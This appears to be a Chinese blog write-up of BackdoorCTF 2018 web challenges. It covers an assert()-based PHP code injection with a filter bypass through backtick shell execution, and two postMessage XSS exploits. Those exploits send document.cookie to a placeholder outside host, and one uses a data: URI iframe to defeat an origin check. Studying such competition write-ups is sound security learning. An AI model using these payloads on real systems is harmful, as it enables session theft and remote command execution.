BackdoorCTF 2018 Web writeup

To begin with

跟着队友第一次打国外的BackdoorCTF,虽然这次的难度没有n1ctf高,但是对于XSS不太熟悉的我还是跑偏了...不过也多少学到了一点点东西。

bfcaptcha

题目描述中提到了验证码和版本控制,打开题目后发现:

一个brainfuck,一个音频,bf很轻松就解开了,下载了音频一直以为是一个misc题,毫无头绪,队友说把下面的数字填上去有变化,试了之后发现,0变为了1,然后数字提示消失了,无法进行下去了。
既然有次数计数,那必然要拿到源码进行分析,突然想到题目描述中的版本控制,加上.git后可以访问,于是下载下来整个仓库发现有一个index.php

<?php  
session_start();

function get_question(){  
    $answer = array();
    foreach(file("xxxxxxxxx") as $line) {
           array_push($answer, trim($line));
    }
    $random_index = rand(0, 999);
    $question = file_get_contents("xxxxxxxx/$random_index");
    $_SESSION['quesans'] = $answer[$random_index];
    return $question;
}

function bad_hacking_penalty(){  
    $_SESSION['count'] = 0;
}

function handle_invalid_captcha_ans(){  
    $_SESSION['count'] = 0;
}

function is_clean($input){  
    if (preg_match("/SESSION/i", $input)){//no seesion variable alteration
        bad_hacking_penalty();
        return false;
    }
    if (preg_match('/(base64_|eval|system|shell_|exec|php_)/i', $input)){//no coomand injection 
        bad_hacking_penalty();
        return false;
    }
    if (preg_match('/(file|echo|die|print)/i', $input)){//no file access
        bad_hacking_penalty();
        return false;
    }
    if (preg_match("/(or|\|)/", $input)){//Be brave use AND
        bad_hacking_penalty();
        return false;
    }
    if (preg_match('/(flag)/i', $input)){//don't take shortcuts
        bad_hacking_penalty();
        return false;
    }
    //clean input
    return true;
}

function random_string(){  
    $captcha_file = "xxxxxxxx";
    $random_index = rand(0, 999);
    $i = 1;
    foreach(file($captcha_file) as $line) {
           if ($i == $random_index) return $line;
           $i++;
    }
}

//current captcha to be verified against user input
$cur_captcha = $_SESSION['captcha'];
//set captcha for next try
$next_captcha = rtrim(random_string());
$_SESSION['captcha'] = $next_captcha;
$captcha_url = "xxxxxxxxx" . md5('xxxxxxxxxxxx' . $next_captcha);

$invalid_ans = 0;
$invalid_captcha = 0;
if (isset($_SESSION['count']) && isset($_POST['captcha']) && $_POST['captcha'] != ''){  
    $user_captcha = $_POST['captcha'];
    if($cur_captcha === $user_captcha){
        $user_ans = $_POST['answer'];
        $real_ans = $_SESSION['quesans'];
            if (is_clean($user_ans)){
                (assert("'$real_ans' === '$user_ans'") and $_SESSION['count'] +=1) or (handle_invalid_captcha_ans() or $invalid_ans = 1);

            }else{
                die('Detected hacking attempt');
            }
    }else{
        handle_invalid_captcha_ans();
        $invalid_captcha = 1;
        }
}else{
    handle_invalid_captcha_ans();
}


if (!isset($_SESSION['count'])){  
    $_SESSION['count'] = 0;
}

?>

<html>  
<head>  
    <title></title>
</head>  
<body>  
<div name="ques">  
Can y0u print something out of this brain-fucking c0de?<br>  
<?php echo htmlspecialchars(get_question());?>  
</div>  
<form method="post" action="index.php">  
    Answer: <input type="text" placeholder="Answer the question" name="answer"> <br><br>
    <audio controls>
          <source src=<?php echo $captcha_url;?> type="audio/mpeg">
    </audio><br>
    Captcha: <input type="text" placeholder="Enter the captcha " name="captcha">
    <button type="submit">Submit</button>
</form>  
<?php  
 if ($_SESSION['count'] == 0){
     echo "e.g Type '" . $next_captcha ."' for the given captcha";
 }
 if ($_SESSION['count'] >= 500 ){
     include 'xxxxxxxxxxxxxx';
     echo $random_flag_name;
 }else{
     echo '<br>You\'ve made ' . ($_SESSION['count']) . ' correct answers';
 }
 if($invalid_ans){
     echo '<br><b>Wrong Answer</b>';
 }else if($invalid_captcha){
     echo '<br><b>Wrong Captcha</b>';
 }
?>

</body>  
</html>  

看了一遍源码后发现问题和验证码都是预置的,存在爆破的可能性,其他能够控制的位置只有

$user_captcha = $_POST['captcha'];
    if($cur_captcha === $user_captcha){
        $user_ans = $_POST['answer'];
        $real_ans = $_SESSION['quesans'];
            if (is_clean($user_ans)){
                (assert("'$real_ans' === '$user_ans'") and $_SESSION['count'] +=1) or (handle_invalid_captcha_ans() or $invalid_ans = 1);

考虑到爆破处1000组验证码和时间长度,在发现assert后想到了一句话木马,加上is_clean函数的提示,其中必然存在代码执行。
在本地搭建环境测试后,确实可以代码执行,先尝试了phpinfo(),发现php版本为7.0,日志位置,目录位置,url open为on,disable function为大多数pcntl函数,没有其他的明显信息。
之后想到了根据过滤函数想到了var_dump和show_source,利用showsource拿到了index.php的源码(**部分)

<?php  
session_start();  
//current captcha to be verified against user input
$cur_captcha = $_SESSION['captcha'];
//set captcha for next try
$next_captcha = rtrim(random_string());
$_SESSION['captcha'] = $next_captcha;
$captcha_url = "gen_cap/" . md5('backdoor_ctf_2018_secret' . $next_captcha);

$invalid_ans = 0;
$invalid_captcha = 0;
if (isset($_SESSION['count']) && isset($_POST['captcha']) && $_POST['captcha'] != ''){  
    $user_captcha = $_POST['captcha'];
    if($cur_captcha === $user_captcha){
        $user_ans = $_POST['answer'];
        $real_ans = $_SESSION['quesans'];
            if (is_clean($user_ans)){
                (assert("'$real_ans' === '$user_ans'") and $_SESSION['count'] +=1) or (handle_invalid_captcha_ans() or $invalid_ans = 1);

            }

?>
<?php

 if ($_SESSION['count'] >= 500 ){
     include 'random_flag_file.php';
     echo $random_flag_name;
 }
?>

于是拿到了md5的salt和flag文件名,发现文件名被过滤。 (一直没想到多字符串拼接,惨..)
考虑代码执行写完件,发现web目录无法写入,权限不够,tmp目录可写,但是利用失败了。于是考虑命令执行读文件。
php命令执行的函数有exec()、system()、popen()、passthru()、procopen()、pcntlexec()、shellexec() 、反引号`,考虑到禁用函数,其他函数都可以使用,过滤了其中几个函数,但是利用反引号代替shellexec可以绕过。
cat random*,拿到了源码。
payload:number' and `cat random*`;#
其实,没这么麻烦,如果脑子没有短路想到了字符串拼接,直接在拿到flag文件名之后代码执行:
number' and show_source('random_fl'+'ag_fi'+'le.php');

refer:PHP代码审计笔记--命令执行漏洞

get hired

由于刚接触了dns rebind,思路跑偏了..
题目具体思路这几天继续分析,更新稍慢一些。 分析题目,主要发现profile可能存在XSS,还有一个提交URL的界面,另外就是flag segment。
尝试提交测试网址,收到了管理员的访问请求,HTTP报文没有任何提示,刚开始认为是DNS rebindding试了很久,结果失败了。后来发现home.php的源码中使用window.open打开了call.php,并使用了HTML5中的跨文档通信方法postMessage发送了消息,在call.php中我们找到了消息处理函数。
关于源的继承:来自about:blank,javascript:和data:URLs(本人此处存疑,烦请指点)中的内容,继承了将其载入的文档所指定的源,因为它们的URL本身未指定任何关于自身源的信息。
关于postMessageotherWindow.postMessage(message, targetOrigin, [transfer]);
window.postMessage() 方法可以安全地实现跨源通信。通常,对于两个不同页面的脚本,只有当执行它们的页面位于具有相同的协议(通常为https),端口号(443为https的默认值),以及主机 (两个页面的模数 Document.domain设置为相同的值) 时,这两个脚本才能相互通信。window.postMessage() 方法提供了一种受控机制来规避此限制,只要正确的使用,这种方法就很安全。
window.postMessage() 方法被调用时,会在所有页面脚本执行完毕之后(e.g., 在该方法之后设置的事件、之前设置的timeout event等)向目标窗口派发一个 MessageEvent 消息。
想要单独总结一篇关于同源策略的博客,过几天补上。

   ## home.php
    $("#audiocall").click(function(){
        var call_window;
        call_window = window.open("call.php");
        setTimeout(function(){
            call_window.postMessage({
              type: "audio",
              details: {
                sender_username: "test",
                sender_team_name: "test",
                receiver_username: escapeHTML($("#r_call").val()),
                receiver_team_name: escapeHTML($("#rteam_call").val())
              }
            }, "*");
        }, 100);
    });
    $("#videocall").click(function(){
        var call_window;
        call_window = window.open("call.php");
        setTimeout(function(){
            call_window.postMessage({
              type: "video",
              details: {
                sender_username: "test",
                sender_team_name: "test",
                receiver_username: escapeHTML($("#r_call").val()),
                receiver_team_name: escapeHTML($("#rteam_call").val())
              }
            }, "*");
        }, 100);
    });
## call.js
function p(details){  
    document.getElementById('call_details').innerHTML = details.sender_username + " is calling " + details.receiver_username + " ....";
}

function d(payload){  
    var required = ["sender_username", "receiver_username", "sender_team_name", "receiver_team_name"];
    for (var idx = 0; idx < required.length; idx++)
        if (!payload[required[idx]] || "" === !payload[required[idx]]) {
              return false;
    }
    return true;
}

function c(type, payload){  
    switch(type){
        case "audio":
            if (d(payload)){
                p(payload);
            }else console.log('err');
            // 
        case "video":
            if (d(payload)){
                p(payload);
            }
            //
    }
}

var messageHandler = function(event) {  
  if (event.data){
  if (event.data.type) {
      c(event.data.type, event.data.details);
    }
  }
}

window.addEventListener("message", messageHandler);  

根据已有的内容,可以构造如下payload:

<html>  
<script type="text/javascript">  
var call_window;  
call_window = window.open("http://localhost/call.php");  
setTimeout(function(){  
    call_window.postMessage({
      type: "audio",
      details: {
      sender_username: "<img src=xz: onerror=window.open('https://xxxx?a='+document.cookie)>",
        sender_team_name: "xxx",
        receiver_username: "test",
        receiver_team_name: "test"
      }
    }, "*");
}, 1000);
</script>  
</html>  
get hired 2

在原有的基础上验证了源,具体见verifyorigin。
利用了data URI XSS无源的特性绕过源的验证。
首先EventListener得到event的源信息,包括protocol host port信息的字符串,如:http:// www.xmsec.cc:1234。通过赋值给a.href,用a.hostname得到www.xmsec.cc,同时与window.location.hostname(www.xmsec.cc)比较。

window可以监听派遣的message,message 的部分属性:

data
从其他 window 中传递过来的对象。
origin
调用 postMessage 时消息发送方窗口的 origin . 这个字符串由 协议、“://“、域名、“ : 端口号”拼接而成。例如 “https:// example.org (隐含端口 443)”、“http:// example.net (隐含端口 80)”、“http:// example.com:8080”。请注意,这个origin不能保证是该窗口的当前或未来origin,因为postMessage被调用后可能被导航到不同的位置。

当传来的源为null时,如下:

a.hostname未设置href,默认使用当前页面的host,从而绕过验证。
如何将设置为null呢?

var origin = document.origin; // On this page, returns:'https://developer.mozilla.org'

var origin = document.origin; // On "about:blank", returns:'null'

var origin = document.origin; // On "data:text/html,foo", returns:'null'

refer: https://developer.mozilla.org/zh-CN/docs/Web/API/Document/origin

某些情况下web应用会产生像about、javascript、data这样的伪协议创建无须服务器内容的HTML页面,这些页面的数据完全来自客户端。由于原始的同源策略没有考虑到这个场景,也就是完全不同的域创建的about:blank文档就属于同源的页面了。
使用data:text。

##call.js
function p(details){  
    document.getElementById('call_details').innerHTML = details.sender_username + " is calling " + details.receiver_username + " ....";
}

function d(payload){  
    var required = ["sender_username", "receiver_username", "sender_team_name", "receiver_team_name"];
    for (var idx = 0; idx < required.length; idx++)
        if (!payload[required[idx]] || "" === !payload[required[idx]]) {
              return false;
    }
    return true;
}

function c(type, payload){  
    switch(type){
        case "audio":
            if (d(payload)){
                p(payload);
            }else console.log('err');
            // 
        case "video":
            if (d(payload)){
                p(payload);
            }
            //
    }
}

function verifyorigin(originHref) {  
        var a = document.createElement("a");
        a.href = originHref;        
        return a.hostname == window.location.hostname
}

var messageHandler = function(event) {  
  if (event.data){
  if(!verifyorigin(event.origin)){return;}
  if (event.data.type) {
      c(event.data.type, event.data.details);
    }
  }
}


window.addEventListener("message", messageHandler);  
<html>  
    <iframe src="data:text/html,<script>var call_window;call_window = window.open('http://localhost/call.php');setTimeout(function(){
        call_window.postMessage({
          type: 'audio',
          details: {
          sender_username: "<img src=xz: onerror=window.open('https://xxxx?a='+document.cookie)>",
            sender_team_name: 'zzzz',
            receiver_username: 'test',
            receiver_team_name: 'test'
          }
        }, '*');}, 1000);</script>"></iframe>
</html>  

refer:
https://ctftime.org/writeup/9181
https://developer.mozilla.org/zh-CN/docs/Web/API/Window/postMessage
ajax和嵌套方法:
https://ctftime.org/writeup/9187

DIGILANT-ADMIN

https://phi0.github.io/2018/03/18/BackdoorCTF-2018-DIGILANT-ADMIN.html

xmsec

Lancet成员,很菜却在努力。